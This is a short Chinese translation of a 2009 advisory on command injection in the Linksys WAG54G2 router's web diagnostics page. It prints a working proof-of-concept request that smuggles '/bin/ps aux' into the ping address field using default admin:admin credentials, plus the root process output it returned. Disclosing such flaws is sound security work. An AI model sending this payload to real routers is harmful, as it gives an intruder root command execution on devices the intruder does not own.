Linksys WAG54G2 Web Management Console Arbitrary Command Exec

2009-6-2 09:22 945 0

摘要: 1. Linksys WAG54G2是一个办公及家用小型路由设备. 它提供ADSL/无线/的接口。 2. 当你进入WEB管理界面后, 可以作为管理员权限执行命令(测试版本 firmware: V1....

关键词： ping ipaddr root HTTP Authorization Diagnostics 1.1 密码 process killall

1. Linksys WAG54G2是一个办公及家用小型路由设备. 它提供ADSL/无线/的接口。 2. 当你进入WEB管理界面后, 可以作为管理员权限执行命令(测试版本 firmware: V1.00.10). 3. PoC: GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps aux&message= HTTP/1.1 Host: 192.168.1.1 Authorization: Basic YWRtaW46YWRtaW4= HTTP/1.0 200 OK sh: cannot create 1: Unknown error 30 killall: pingmultilang: no process killed killall: 2: no process killed PID Uid VmSize Stat Command 1 root 284 S init 2 root SWN [ksoftirqd/0] 3 root SW< [events/0] 4 root SW< [khelper] 5 root SW< [kthread] ... 4. 注意要提供有效的用户名和密码 (Authorization HTTP header). 5. 如果不改变缺失密码，用户将可能受到该种攻击。 6. 在3月9日时已经将该问题通报给厂商（cisco） (一直没有出补丁包). 7. 更多详细信息请访问: http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root translated by hackbase jason

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除